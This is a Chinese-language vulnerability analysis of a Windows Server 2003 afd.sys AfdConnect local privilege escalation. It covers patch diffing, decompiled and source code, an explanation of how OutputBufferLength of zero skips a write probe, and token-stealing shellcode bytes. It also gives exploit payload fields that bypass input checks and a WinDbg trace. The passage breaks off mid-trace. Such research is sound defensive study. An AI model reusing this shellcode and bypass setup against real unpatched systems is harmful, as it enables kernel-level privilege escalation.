作者: xina1i
创建: 2025.11.13
更新: 2025.12.02
--------------------------------------------------------------------
目录:
☆ 准备环境
☆ 补丁分析
☆ 代码分析
1) 伪码分析
2) 源码分析
☆ exploit分析
1) shellcode分析
2) exploit测试
3) 测试新思路
☆ 遇到的问题
☆ 参考
--------------------------------------------------------------------
☆ 准备环境
根据微软公告准备环境
Server 2003 Service Pack 2 Elevation of Privilege MS08-066
可以使用如下地址下载:
https://archive.org/details/en_win_srv_2003_r2_standard_with_sp2_cd1_X13-04790
可以使用其中的序列号激活
并且安装其前置patch ms08-066
主机: Windows 11
☆ 补丁分析
先安装ms08-066的补丁(KB956803),作为初始测试环境
再安装补丁:KB2503665,作为修复代码对比
上一次是通过bindiff总结对比内容,依然先用该数据让其帮助梳理出哪些函数被变化:
0.98 0.99 GI--E-- 00016185 AfdBind(x,x) 00016185 AfdBind(x,x)
0.99 0.99 -I----- 00016AFC AfdConnect(x,x) 00016C43 AfdConnect(x,x)
可以发现有两个函数发生变化,这次优化一下对比,以前是通过BinDiff的flow图来看,
这次直接将新老版本的代码发给AI来做,最后结果是AfdBind的变化只是做了部分优化。
真正解决问题的在函数AfdConnect(x,x),看看比较结果:
旧版本:
--------------------------------------------------------------------
if ( v24[1] && Irp->RequestorMode == 1 )
{
if ( Irp->UserBuffer >= (PVOID)AfdUserProbeAddress )
*(_DWORD *)AfdUserProbeAddress = 0;
UserBuffer = v10->UserBuffer;
*UserBuffer = *UserBuffer;
UserBuffer[1] = UserBuffer[1];
}
--------------------------------------------------------------------
其中v24是DeviceIOControl中的OutputBufferLength
新版本:
--------------------------------------------------------------------
UserBuffer = Irp->UserBuffer;
if ( UserBuffer && Irp->RequestorMode == 1 )
{
if ( (unsigned int)UserBuffer >= AfdUserProbeAddress )
*(_DWORD *)AfdUserProbeAddress = 0;
v16 = v14->UserBuffer;
*v16 = *v16;
v16[1] = v16[1];
}
--------------------------------------------------------------------
☆ 代码分析
1) 伪码分析
该函数的伪代码如下
--------------------------------------------------------------------
NTSTATUS __fastcall AfdConnect(IRP *a1, IO_STACK_LOCATION *a2)
{
PIRP v2; // edi
ULONG Options; // eax
PIO_SECURITY_CONTEXT SecurityContext; // ecx
ULONG EaLength; // ecx
char v6; // cl
signed int v7; // ebx
char *PoolWithQuotaTag; // edx
IO_STACK_LOCATION *v9; // edi
PIRP v10; // ebx
_DWORD *p_Type; // ecx
int v12; // esi
volatile __int32 *v13; // ecx
unsigned int v14; // eax
int v15; // eax
int v16; // eax
NTSTATUS v18; // eax
_DWORD *UserBuffer; // eax
ULONG v20; // [esp+14h] [ebp-50h]
PVOID Object; // [esp+1Ch] [ebp-48h] BYREF
HANDLE Handle; // [esp+20h] [ebp-44h]
KPROCESSOR_MODE AccessMode[4]; // [esp+24h] [ebp-40h]
IO_STACK_LOCATION *v24; // [esp+28h] [ebp-3Ch]
char *v25; // [esp+2Ch] [ebp-38h] BYREF
_AFD_IRP *v26; // [esp+30h] [ebp-34h] BYREF
PVOID v27; // [esp+34h] [ebp-30h]
_AFD_IRP *P; // [esp+38h] [ebp-2Ch]
PIRP Irp; // [esp+3Ch] [ebp-28h]
int v30; // [esp+40h] [ebp-24h] BYREF
int Connection; // [esp+44h] [ebp-20h]
char v32; // [esp+4Bh] [ebp-19h]
CPPEH_RECORD ms_exc; // [esp+4Ch] [ebp-18h]
v24 = a2;
v2 = a1;
Irp = a1;
P = 0;
Options = a2->Parameters.Create.Options;
if ( Options < 0x14 )
goto LABEL_38;
SecurityContext = a2->Parameters.Create.SecurityContext;
if ( SecurityContext )
{
if ( (unsigned int)SecurityContext < 8 )
goto LABEL_38;
}
Connection = 0;
ms_exc.registration.TryLevel = 0;
if ( v2->RequestorMode )
{
EaLength = a2->Parameters.Create.EaLength;
if ( (EaLength & 3) != 0 )
ExRaiseDatatypeMisalignment();
if ( EaLength + Options > AfdUserProbeAddress || EaLength + Options < EaLength )
*(_BYTE *)AfdUserProbeAddress = 0;
}
v20 = a2->Parameters.Create.EaLength;
v6 = *(_BYTE *)v20;
v32 = *(_BYTE *)v20;
Handle = *(HANDLE *)(v20 + 8);
v7 = a2->Parameters.Create.Options - 12;
ms_exc.registration.TryLevel = -1;
if ( v7 < 0 )
{
LABEL_38:
Connection = -1073741811;
LABEL_50:
if ( P )
{
ExFreePoolWithTag(P, 0xC9646641);
v2->AssociatedIrp.IrpCount = 0;
}
v2->IoStatus.Information = 0;
v2->IoStatus.Status = Connection;
IofCompleteRequest(v2, AfdPriorityBoost);
return Connection;
}
if ( !v6 && AfdSanServiceHelper )
{
Connection = -1073741574;
goto LABEL_50;
}
ms_exc.registration.TryLevel = 1;
PoolWithQuotaTag = (char *)ExAllocatePoolWithQuotaTag((POOL_TYPE)16, v7 + 48, 0xC9646641);
P = (_AFD_IRP *)PoolWithQuotaTag;
v2->AssociatedIrp.IrpCount = (LONG)PoolWithQuotaTag;
memset(PoolWithQuotaTag, 0, 0x30u);
qmemcpy(PoolWithQuotaTag + 48, (const void *)(v20 + 12), v7);
if ( *((_DWORD *)PoolWithQuotaTag + 12) != 1 || v7 < *((unsigned __int16 *)PoolWithQuotaTag + 26) + 8 )
ExRaiseStatus(-1073741811);
*((_DWORD *)PoolWithQuotaTag + 5) = PoolWithQuotaTag + 48;
*((_DWORD *)PoolWithQuotaTag + 4) = v7;
v9 = v24;
v10 = Irp;
if ( v24->Parameters.Read.Length && Irp->RequestorMode == 1 )
{
if ( Irp->UserBuffer >= (PVOID)AfdUserProbeAddress ) <---
*(_DWORD *)AfdUserProbeAddress = 0;
UserBuffer = v10->UserBuffer;
*UserBuffer = *UserBuffer;
UserBuffer[1] = UserBuffer[1];
}
ms_exc.registration.TryLevel = -1;
p_Type = &v9->FileObject->Type;
v27 = p_Type;
v12 = p_Type[3];
if ( *(_WORD *)v12 == 0xAAFD )
{
AccessMode[0] = v10->RequestorMode;
v18 = ObReferenceObjectByHandle(
Handle,
(unsigned __int8)HIBYTE(v9->Parameters.Create.FileAttributes) >> 6,
(POBJECT_TYPE)IoFileObjectType,
AccessMode[0],
&Object,
0);
v27 = Object;
Connection = v18;
if ( v18 < 0 )
{
LABEL_49:
v2 = Irp;
goto LABEL_50;
}
if ( *((PVOID *)Object + 1) != AfdDeviceObject )
{
Connection = -1073741816;
LABEL_48:
ObfDereferenceObject(v27);
goto LABEL_49;
}
v12 = *((_DWORD *)Object + 3);
v9->FileObject = (PFILE_OBJECT)Object;
v10 = Irp;
}
else
{
ObfReferenceObject(p_Type);
}
if ( *(_WORD *)v12 == 0xAFD1 )
return AfdDoDatagramConnect((int)v27, v10, 0);
v13 = (volatile __int32 *)(v12 + 184);
if ( _InterlockedCompareExchange((volatile signed __int32 *)(v12 + 184), 3, 0) )
{
Connection = -1073741811;
goto LABEL_48;
}
if ( *(_WORD *)v12 != 0xAFD0 && *(_WORD *)v12 != 0xAFD2
|| (v14 = *(_DWORD *)(v12 + 12), (v14 & 1) != 0)
|| *(_BYTE *)(v12 + 2) != 2 )
{
Connection = -1073741811;
LABEL_47:
_InterlockedExchange(v13, 0);
goto LABEL_48;
}
Connection = AfdCreateConnection(
*(_DWORD *)(v12 + 136),
*(_DWORD *)(v12 + 132),
(*(_DWORD *)(v12 + 4) & 0x200) != 0,
(v14 >> 8) & 1,
*(PEPROCESS *)(v12 + 24),
(int)&v30);
if ( Connection < 0 )
{
v13 = (volatile __int32 *)(v12 + 184);
goto LABEL_47;
}
_InterlockedExchangeAdd((volatile signed __int32 *)(v12 + 32), 1u);
*(_DWORD *)(v30 + 8) = v12;
*(_DWORD *)(v12 + 96) = v30;
*(_WORD *)v12 = -20526;
AfdAddConnectedReference(v30);
v26 = P;
v25 = (char *)P + 24;
if ( *(_DWORD *)(v12 + 104) )
AfdSetupConnectDataBuffers(v12, v30, &v26, &v25);
AfdEnableFailedConnectEvent(v12);
_InterlockedExchangeAdd((volatile signed __int32 *)(v30 + 32), 1u);
v15 = v10->Tail.Overlay.PacketType - 36;
if ( AfdRestartConnect )
{
*(_DWORD *)(v15 + 28) = AfdRestartConnect;
*(_DWORD *)(v15 + 32) = v30;
*(_BYTE *)(v15 + 3) = -32;
}
else
{
*(_DWORD *)(v15 + 28) = 0;
*(_DWORD *)(v15 + 32) = 0;
*(_BYTE *)(v15 + 3) = 0;
}
v16 = v10->Tail.Overlay.PacketType - 36;
*(_BYTE *)v16 = 15;
*(_BYTE *)(v16 + 1) = 3;
*(_DWORD *)(v16 + 20) = *(_DWORD *)(v30 + 16);
*(_DWORD *)(v16 + 24) = *(_DWORD *)(v30 + 12);
*(_DWORD *)(v16 + 8) = v26;
*(_DWORD *)(v16 + 12) = v25;
*(_DWORD *)(v16 + 16) = &AfdInfiniteTimeout;
_InterlockedExchangeAdd((volatile signed __int32 *)(v12 + 128), 1u);
return IofCallDriver(*(PDEVICE_OBJECT *)(v30 + 16), v10);
}
--------------------------------------------------------------------
涉及到UserBuffer代码写入的相关代码
--------------------------------------------------------------------
if ( v24->Parameters.Read.Length && Irp->RequestorMode == 1 )
{
if ( Irp->UserBuffer >= (PVOID)AfdUserProbeAddress ) <---
*(_DWORD *)AfdUserProbeAddress = 0;
UserBuffer = v10->UserBuffer;
*UserBuffer = *UserBuffer;
UserBuffer[1] = UserBuffer[1];
}
--------------------------------------------------------------------
上面的代码只是做了简单的写入测试,没有真的写入信息。
那就说明UserBuffer不在该函数中写入,需要继续跟踪,从静态分析来看,
很难跟踪写入,可以通过设置写入断点来确定,这里在调试exploit代码时再来研究。
2) 源码分析
AfdConnect源代码
--------------------------------------------------------------------
NTSTATUS
FASTCALL
AfdConnect (
IN PIRP Irp,
IN PIO_STACK_LOCATION IrpSp
)
/*++
Routine Description:
Handles the IOCTL_AFD_CONNECT IOCTL.
Arguments:
Irp - Pointer to I/O request packet.
IrpSp - pointer to the IO stack location to use for this request.
Return Value:
NTSTATUS -- Indicates whether the request was successfully queued.
--*/
{
NTSTATUS status;
PAFD_ENDPOINT endpoint;
PAFD_CONNECTION connection;
PAFD_CONNECT_CONTEXT context;
HANDLE connectEndpointHandle;
PFILE_OBJECT fileObject;
PTRANSPORT_ADDRESS remoteAddress;
ULONG remoteAddressLength;
BOOLEAN sanActive;
PTDI_CONNECTION_INFORMATION requestConnectionInfo, returnConnectionInfo;
PAGED_CODE( );
//
// Initialize for proper cleanup
//
fileObject = NULL;
context = NULL;
#ifdef _WIN64
if (IoIs32bitProcess (Irp)) {
if (IrpSp->Parameters.DeviceIoControl.InputBufferLength<
(ULONG)FIELD_OFFSET(AFD_CONNECT_JOIN_INFO32, RemoteAddress.Address[0].Address) ||
(IrpSp->Parameters.DeviceIoControl.OutputBufferLength!=0
&& IrpSp->Parameters.DeviceIoControl.OutputBufferLength<
sizeof (IO_STATUS_BLOCK32))){
status = STATUS_INVALID_PARAMETER;
goto complete;
}
AFD_W4_INIT status = STATUS_SUCCESS;
try {
if( Irp->RequestorMode != KernelMode ) {
ProbeForRead(
IrpSp->Parameters.DeviceIoControl.Type3InputBuffer,
IrpSp->Parameters.DeviceIoControl.InputBufferLength,
PROBE_ALIGNMENT32 (AFD_CONNECT_JOIN_INFO32)
);
}
sanActive =
((PAFD_CONNECT_JOIN_INFO32)\
IrpSp->Parameters.DeviceIoControl.Type3InputBuffer)->SanActive;
connectEndpointHandle =
((PAFD_CONNECT_JOIN_INFO32)\
IrpSp->Parameters.DeviceIoControl.Type3InputBuffer)->ConnectEndpoint;
remoteAddress = (PTRANSPORT_ADDRESS)
&((PAFD_CONNECT_JOIN_INFO32)\
IrpSp->Parameters.DeviceIoControl.Type3InputBuffer)->RemoteAddress;
ASSERT (((ULONG_PTR)remoteAddress & (PROBE_ALIGNMENT(TRANSPORT_ADDRESS)-1))==0);
remoteAddressLength = IrpSp->Parameters.DeviceIoControl.InputBufferLength
- FIELD_OFFSET (AFD_CONNECT_JOIN_INFO32, RemoteAddress);
}
except (AFD_EXCEPTION_FILTER (status)) {
ASSERT (NT_ERROR (status));
goto complete;
}
}
else
#endif //_WIN64
{
//
// Determine where in the system buffer the request and return
// connection information structures exist. Pass pointers to
// these locations instead of the user-mode pointers in the
// tdiRequest structure so that the memory will be nonpageable.
//
if (IrpSp->Parameters.DeviceIoControl.InputBufferLength<
(ULONG)FIELD_OFFSET(AFD_CONNECT_JOIN_INFO, RemoteAddress.Address[0].Address) ||
(IrpSp->Parameters.DeviceIoControl.OutputBufferLength!=0 &&
IrpSp->Parameters.DeviceIoControl.OutputBufferLength <
sizeof (IO_STATUS_BLOCK))) {
status = STATUS_INVALID_PARAMETER;
goto complete;
}
AFD_W4_INIT status = STATUS_SUCCESS;
try {
PAFD_CONNECT_JOIN_INFO connectInfo;
if( Irp->RequestorMode != KernelMode ) {
ProbeForRead(
IrpSp->Parameters.DeviceIoControl.Type3InputBuffer,
IrpSp->Parameters.DeviceIoControl.InputBufferLength,
PROBE_ALIGNMENT (AFD_CONNECT_JOIN_INFO)
);
}
connectInfo = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
sanActive = connectInfo->SanActive;
connectEndpointHandle = connectInfo->ConnectEndpoint;
remoteAddress = &connectInfo->RemoteAddress;
remoteAddressLength = IrpSp->Parameters.DeviceIoControl.InputBufferLength
- FIELD_OFFSET (AFD_CONNECT_JOIN_INFO, RemoteAddress);
}
except (AFD_EXCEPTION_FILTER (status)) {
ASSERT (NT_ERROR (status));
goto complete;
}
}
//
// Do sanity check on remoteAddressLength to prevent addition overflow below
//
if ((LONG)remoteAddressLength < 0) {
//
// address length is unreasonably large
//
status = STATUS_INVALID_PARAMETER;
goto complete;
}
//
// Check for if the caller is unaware of the SAN
// provider activation and report the error.
//
if (!sanActive && AfdSanServiceHelper!=NULL) {
KdPrintEx(( DPFLTR_WSOCKTRANSPORT_ID, DPFLTR_INFO_LEVEL,
"AFD: Process %p is being told to enable SAN on connect\n",
PsGetCurrentProcessId ()));
status = STATUS_INVALID_PARAMETER_12;
goto complete;
}
AFD_W4_INIT ASSERT (status == STATUS_SUCCESS);
try {
context = AFD_ALLOCATE_POOL_WITH_QUOTA (NonPagedPool,
FIELD_OFFSET (AFD_CONNECT_CONTEXT, RemoteAddress)
+ remoteAddressLength,
AFD_TDI_POOL_TAG
);
// AFD_ALLOCATE_POOL_WITH_QUOTA macro sets POOL_RAISE_IF_ALLOCATION_FAILURE flag
ASSERT (context!=NULL);
Irp->AssociatedIrp.SystemBuffer = context;
RtlZeroMemory (context,
FIELD_OFFSET (AFD_CONNECT_CONTEXT, RemoteAddress));
RtlCopyMemory (&context->RemoteAddress,
remoteAddress,
remoteAddressLength);
//
// Validate internal consistency of the transport address structure.
// Note that we HAVE to do this after copying since the malicious
// application can change the content of the buffer on us any time
// and our check will be bypassed.
//
if ((context->RemoteAddress.TAAddressCount!=1) ||
(LONG)remoteAddressLength<
FIELD_OFFSET (TRANSPORT_ADDRESS,
Address[0].Address[context->RemoteAddress.Address[0].AddressLength])) {
ExRaiseStatus (STATUS_INVALID_PARAMETER);
}
context->RequestConnectionInfo.RemoteAddress = &context->RemoteAddress;
context->RequestConnectionInfo.RemoteAddressLength = remoteAddressLength;
if (IrpSp->Parameters.DeviceIoControl.OutputBufferLength>0 &&
Irp->RequestorMode==UserMode) {
ProbeForWriteIoStatusEx (
((PIO_STATUS_BLOCK)Irp->UserBuffer),
IoIs32bitProcess (Irp));
}
}
except (AFD_EXCEPTION_FILTER(status)) {
ASSERT (NT_ERROR (status));
goto complete;
}
fileObject = IrpSp->FileObject;
endpoint = fileObject->FsContext;
if (endpoint->Type==AfdBlockTypeHelper) {
//
// This is async connect which uses helper endpoint to
// communicate to AFD. Get the real endpoint.
//
status = ObReferenceObjectByHandle(
connectEndpointHandle,
(IrpSp->Parameters.DeviceIoControl.IoControlCode>>14) & 3,
// DesiredAccess
*IoFileObjectType, // ObjectType
Irp->RequestorMode,
(PVOID *)&fileObject,
NULL
);
if (!NT_SUCCESS (status)) {
goto complete;
}
if (fileObject->DeviceObject!=AfdDeviceObject) {
status = STATUS_INVALID_HANDLE;
goto complete_deref;
}
endpoint = fileObject->FsContext;
IrpSp->FileObject = fileObject;
}
else {
ObReferenceObject (fileObject);
}
IF_DEBUG(CONNECT) {
KdPrintEx(( DPFLTR_WSOCKTRANSPORT_ID, DPFLTR_TRACE_LEVEL,
"AfdConnect: starting connect on endpoint %p\n",
endpoint ));
}
//
// If this is a datagram endpoint, simply remember the specified
// address so that we can use it on sends, receives, writes, and
// reads.
//
if ( IS_DGRAM_ENDPOINT(endpoint) ) {
return AfdDoDatagramConnect( fileObject, Irp, FALSE );
}
if (!AFD_START_STATE_CHANGE (endpoint, AfdEndpointStateConnected)) {
status = STATUS_INVALID_PARAMETER;
goto complete_deref;
}
if ( endpoint->Type != AfdBlockTypeEndpoint &&
endpoint->Type != AfdBlockTypeVcConnecting ) {
status = STATUS_INVALID_PARAMETER;
goto complete_state_change;
}
//
// If the endpoint is not bound, then this is an invalid request.
// Listening endpoints are not allowed as well.
//
if ( endpoint->Listening ||
endpoint->State != AfdEndpointStateBound ) {
status = STATUS_INVALID_PARAMETER;
goto complete_state_change;
}
//
// Create a connection object to use for the connect operation.
//
status = AfdCreateConnection(
endpoint->TransportInfo,
endpoint->AddressHandle,
IS_TDI_BUFFERRING(endpoint),
endpoint->InLine,
endpoint->OwningProcess,
&connection
);
if ( !NT_SUCCESS(status) ) {
goto complete_state_change;
}
//
// Set up a referenced pointer from the connection to the endpoint.
// Note that we set up the connection's pointer to the endpoint
// BEFORE the endpoint's pointer to the connection so that AfdPoll
// doesn't try to back reference the endpoint from the connection.
//
REFERENCE_ENDPOINT( endpoint );
connection->Endpoint = endpoint;
//
// Remember that this is now a connecting type of endpoint, and set
// up a pointer to the connection in the endpoint. This is
// implicitly a referenced pointer.
//
endpoint->Common.VcConnecting.Connection = connection;
endpoint->Type = AfdBlockTypeVcConnecting;
ASSERT( IS_TDI_BUFFERRING(endpoint) == connection->TdiBufferring );
//
// Add an additional reference to the connection. This prevents the
// connection from being closed until the disconnect event handler
// is called.
//
AfdAddConnectedReference( connection );
//
// If there are connect data buffers, move them from the endpoint
// structure to the connection structure and set up the necessary
// pointers in the connection request we're going to give to the TDI
// provider. Do this in a subroutine so this routine can be pageable.
//
requestConnectionInfo = &context->RequestConnectionInfo;
returnConnectionInfo = &context->ReturnConnectionInfo;
if ( endpoint->Common.VirtualCircuit.ConnectDataBuffers != NULL ) {
AfdSetupConnectDataBuffers(
endpoint,
connection,
&requestConnectionInfo,
&returnConnectionInfo
);
}
//
// Since we may be reissuing a connect after a previous failed connect,
// reenable the failed connect event bit.
//
AfdEnableFailedConnectEvent( endpoint );
//
// Reference the connection block so it does not go away even if
// endpoint's reference to it is removed (in cleanup)
//
REFERENCE_CONNECTION (connection);
//
// Build a TDI kernel-mode connect request in the next stack location
// of the IRP.
//
TdiBuildConnect(
Irp,
connection->DeviceObject,
connection->FileObject,
AfdRestartConnect,
connection,
&AfdInfiniteTimeout,
requestConnectionInfo,
returnConnectionInfo
);
AFD_VERIFY_ADDRESS (connection, &requestConnectionInfo->RemoteAddress);
//
// Call the transport to actually perform the connect operation.
//
return AfdIoCallDriver( endpoint, connection->DeviceObject, Irp );
complete_state_change:
AFD_END_STATE_CHANGE (endpoint);
complete_deref:
ASSERT (fileObject!=NULL);
ObDereferenceObject (fileObject);
complete:
if (context!=NULL) {
AFD_FREE_POOL (context, AFD_TDI_POOL_TAG);
ASSERT (Irp->AssociatedIrp.SystemBuffer==context);
Irp->AssociatedIrp.SystemBuffer = NULL;
}
Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = status;
IoCompleteRequest( Irp, AfdPriorityBoost );
return status;
} // AfdConnect
--------------------------------------------------------------------
其中的代码有针对Irp->UserBuffer写入Probe
--------------------------------------------------------------------
if (IrpSp->Parameters.DeviceIoControl.OutputBufferLength>0 &&
Irp->RequestorMode==UserMode) {
ProbeForWriteIoStatusEx (
((PIO_STATUS_BLOCK)Irp->UserBuffer),
IoIs32bitProcess (Irp));
}
--------------------------------------------------------------------
如果OutputBufferLength为0,即可绕过该限制,不会再具体探测传入数据的写入问题
所以直接分析具体哪里写入了Irp->UserBuffer
在AfdConnect函数本身没有写入操作,继续分析
其中最有可能的函数是TdiBuildConnect
--------------------------------------------------------------------
TdiBuildConnect(
Irp,
connection->DeviceObject,
connection->FileObject,
AfdRestartConnect,
connection,
&AfdInfiniteTimeout,
requestConnectionInfo,
returnConnectionInfo
);
--------------------------------------------------------------------
分析发现其是一个宏定义,它的作用是:
当它将连接请求传递给底层的TDI传输驱动后,会设置一个完成例程AfdRestartConnect。
当连接操作完成时,AfdRestartConnect会被调用。
--------------------------------------------------------------------
#define TdiBuildConnect(Irp, DevObj, FileObj, CompRoutine, Contxt, Time, \
RequestConnectionInfo, ReturnConnectionInfo)\
{ \
PTDI_REQUEST_KERNEL p; \
PIO_STACK_LOCATION _IRPSP; \
if ( CompRoutine != NULL) { \
IoSetCompletionRoutine( Irp, CompRoutine, Contxt, TRUE, TRUE, TRUE);\
} else { \
IoSetCompletionRoutine( Irp, NULL, NULL, FALSE, FALSE, FALSE); \
} \
_IRPSP = IoGetNextIrpStackLocation (Irp); \
_IRPSP->MajorFunction = IRP_MJ_INTERNAL_DEVICE_CONTROL; \
_IRPSP->MinorFunction = TDI_CONNECT; \
_IRPSP->DeviceObject = DevObj; \
_IRPSP->FileObject = FileObj; \
p = (PTDI_REQUEST_KERNEL)&_IRPSP->Parameters; \
p->RequestConnectionInformation = RequestConnectionInfo; \
p->ReturnConnectionInformation = ReturnConnectionInfo; \
p->RequestSpecific = (PVOID)Time; \
}
--------------------------------------------------------------------
继续分析AfdRestartConnect,在AfdRestartConnect中
会分别调用KeInitializeApc和KeInsertQueueApc,
他们会创建一个APC,等在一定情况下执行AfdConnectApcKernelRoutine
--------------------------------------------------------------------
// Try to queue kernel APC to the user thread that
// started the connection operation, so we can
// communicate the status of the connect operation to
// msafd.dll before we inform the application through
// the select or EventSelect. Otherwise, we run into the
// race condition when application learns about connect first,
// calls msafd.dll that is not aware of the completion and
// returns WSAENOTCONN.
//
if ((Irp->RequestorMode==UserMode) && // Must be user mode calls
(Irp->UserBuffer!=NULL) && // Must be interested in status
// Thread should be able to
// run APCs.
(KeInitializeApc (&endpoint->Common.VcConnecting.Apc,
PsGetThreadTcb (Irp->Tail.Overlay.Thread),
Irp->ApcEnvironment,
AfdConnectApcKernelRoutine,
AfdConnectApcRundownRoutine,
(PKNORMAL_ROUTINE)NULL,
KernelMode,
NULL
),
KeInsertQueueApc (&endpoint->Common.VcConnecting.Apc,
Irp,
NULL,
AfdPriorityBoost))) {
//
// We will complete the IRP in the APC.
//
return STATUS_MORE_PROCESSING_REQUIRED;
}
--------------------------------------------------------------------
在函数AfdConnectApcKernelRoutine中会写irp->UserBuffer
--------------------------------------------------------------------
VOID
AfdConnectApcKernelRoutine (
IN struct _KAPC *Apc,
IN OUT PKNORMAL_ROUTINE *NormalRoutine,
IN OUT PVOID *NormalContext,
IN OUT PVOID *SystemArgument1,
IN OUT PVOID *SystemArgument2
)
{
PIRP irp;
PIO_STACK_LOCATION irpSp;
PAFD_ENDPOINT endpoint, rootEndpoint;
UNREFERENCED_PARAMETER (NormalContext);
...
try {
...
{
((PIO_STATUS_BLOCK)irp->UserBuffer)->Status = irp->IoStatus.Status;
}
}
--------------------------------------------------------------------
其中写入的转化PIO_STATUS_BLOCK
--------------------------------------------------------------------
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
--------------------------------------------------------------------
根据这个结构推测exploit代码应该有问题,应该传入的是HalDispatchTable[1]
分析到这里就分析出具体执行的原理,现在来开始调试exploit代码
☆ exploit分析
从exploit-db上下载的exploit代码如下
具体代码位置:https://www.exploit-db.com/exploits/18755
代码有很多问题,无法直接跑起来,首先来解决其中的问题
1) shellcode分析
其本身提供的shellcode没有任何意义,依然使用ms08-066的shellcode
--------------------------------------------------------------------
0x90, // nop
0x90, // nop
0x90, // nop
0x90, // nop
0x90, // nop
0x90, // nop
0x90, // nop
0x90, // nop
0x60, // pusha
0x9c, // pushf
0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, // mov eax, fs:[124]
0x8b, 0xb0, 0x18, 0x02, 0x00, 0x00, // mov esi,DWORD PTR [eax+0x218]
0x89, 0xf0, // mov eax,esi
// <search2k3sp1>:
0x8b, 0x80, 0x98, 0x00, 0x00, 0x00, // mov eax,DWORD PTR [eax+0x98]
0x2d, 0x98, 0x00, 0x00, 0x00, // sub eax,0x98
0x8b, 0x90, 0x94, 0x00, 0x00, 0x00, // mov edx,DWORD PTR [eax+0x94]
0x83, 0xfa, 0x04, // cmp edx,0x4
0x75, 0xea, // jne 17 <search2k3sp1>
0x8b, 0x80, 0xd8, 0x00, 0x00, 0x00, // mov eax,DWORD PTR [eax+0xd8]
0x89, 0x86, 0xd8, 0x00, 0x00, 0x00, // mov DWORD PTR [esi+0xd8],eax
0x9d, // popf
0x61, // popa
0xc2, 0x10, 0x00 // ret 0x10
--------------------------------------------------------------------
2) exploit测试
原始的exploit会有很多问题,尝试一一解决,主要涉及部分条件绕过
1. 绕过OutputBuffer的检查
--------------------------------------------------------------------
if ( *((_DWORD *)PoolWithQuotaTag + 12) != 1 ||
v7 < *((unsigned __int16 *)PoolWithQuotaTag + 26) + 8 )
ExRaiseStatus(0xC000000D);
--------------------------------------------------------------------
绕过方法:
--------------------------------------------------------------------
memset(&payload, 0, sizeof(payload));
payload.SanActive = FALSE;
payload.RootEndpoint = NULL;
payload.ConnectEndpoint = NULL;
// bypass context->RemoteAddress.TAAddressCount != 1
payload.RemoteAddress.TAAddressCount = 1;
// 关键:绕过长度检查
// RemoteAddressLength 计算基于 InputBufferLength
// 内部 AddressLength 必须匹配
payload.RemoteAddress.Address[0].AddressLength = sizeof(TDI_ADDRESS_IP); // 14
payload.RemoteAddress.Address[0].AddressType = 2; // TDI_ADDRESS_TYPE_IP
// 填充一个有效的 IP 地址,增加成功返回 STATUS_SUCCESS 的几率
payload.RemoteAddress.Address[0].Address.sin_port = htons(135);
payload.RemoteAddress.Address[0].Address.in_addr = inet_addr("127.0.0.1");
--------------------------------------------------------------------
2. 绕过端点类型检查
这个在调试中发现
具体调试过程如下
--------------------------------------------------------------------
0: kd> g
Breakpoint 0 hit
afd!AfdConnect:
ba8c4afc 6a48 push 48h
2: kd> p
afd!AfdConnect+0x2:
ba8c4afe 6828138cba push offset afd!ZeroIP6Address+0x70 (ba8c1328)
2: kd> p
afd!AfdConnect+0x7:
ba8c4b03 e838a6ffff call afd!_SEH_prolog (ba8bf140)
2: kd> t
afd!_SEH_prolog:
ba8bf140 68eb008cba push offset afd!_except_handler3 (ba8c00eb)
2: kd> pt
afd!_SEH_prolog+0x3a:
ba8bf17a c3 ret
2: kd> p
afd!AfdConnect+0xc:
ba8c4b08 8955c4 mov dword ptr [ebp-3Ch],edx
2: kd> p
afd!AfdConnect+0xf:
ba8c4b0b 8bf9 mov edi,ecx
2: kd> p
afd!AfdConnect+0x11:
ba8c4b0d 897dd8 mov dword ptr [ebp-28h],edi
2: kd> p
afd!AfdConnect+0x14:
ba8c4b10 33f6 xor esi,esi
2: kd> p
afd!AfdConnect+0x16:
ba8c4b12 8975d4 mov dword ptr [ebp-2Ch],esi
2: kd> p
afd!AfdConnect+0x19:
ba8c4b15 8b4208 mov eax,dword ptr [edx+8]
2: kd> p
afd!AfdConnect+0x1c:
ba8c4b18 83f814 cmp eax,14h
2: kd> p
afd!AfdConnect+0x1f:
ba8c4b1b 0f82a9090000 jb afd!AfdConnect+0x399 (ba8c54ca)
2: kd> p
afd!AfdConnect+0x25:
ba8c4b21 8b4a04 mov ecx,dword ptr [edx+4]
2: kd> p
afd!AfdConnect+0x28:
ba8c4b24 3bce cmp ecx,esi
2: kd> p
afd!AfdConnect+0x2a:
ba8c4b26 0f857f090000 jne afd!AfdConnect+0x2c (ba8c54ab)
2: kd> p
afd!AfdConnect+0x35:
ba8c4b2c 8975e0 mov dword ptr [ebp-20h],esi
2: kd> p
afd!AfdConnect+0x38:
ba8c4b2f 8975fc mov dword ptr [ebp-4],esi
2: kd> p
afd!AfdConnect+0x3b:
ba8c4b32 807f2000 cmp byte ptr [edi+20h],0
2: kd> p
afd!AfdConnect+0x3f:
ba8c4b36 7428 je afd!AfdConnect+0x66 (ba8c4b60)
2: kd> p
afd!AfdConnect+0x41:
ba8c4b38 3bc6 cmp eax,esi
2: kd> p
afd!AfdConnect+0x43:
ba8c4b3a 7424 je afd!AfdConnect+0x66 (ba8c4b60)
2: kd> p
afd!AfdConnect+0x45:
ba8c4b3c 8b4a10 mov ecx,dword ptr [edx+10h]
2: kd> p
afd!AfdConnect+0x48:
ba8c4b3f f6c103 test cl,3
2: kd> p
afd!AfdConnect+0x4b:
ba8c4b42 0f85741e0000 jne afd!AfdConnect+0x4d (ba8c69bc)
2: kd> p
afd!AfdConnect+0x53:
ba8c4b48 8d3401 lea esi,[ecx+eax]
2: kd> p
afd!AfdConnect+0x56:
ba8c4b4b a1f8258cba mov eax,dword ptr [afd!AfdUserProbeAddress (ba8c25f8)]
2: kd> p
afd!AfdConnect+0x5b:
ba8c4b50 3bf0 cmp esi,eax
2: kd> p
afd!AfdConnect+0x5d:
ba8c4b52 0f875e090000 ja afd!AfdConnect+0x63 (ba8c54b6)
2: kd> p
afd!AfdConnect+0x5f:
ba8c4b58 3bf1 cmp esi,ecx
2: kd> p
afd!AfdConnect+0x61:
ba8c4b5a 0f8256090000 jb afd!AfdConnect+0x63 (ba8c54b6)
2: kd> p
afd!AfdConnect+0x66:
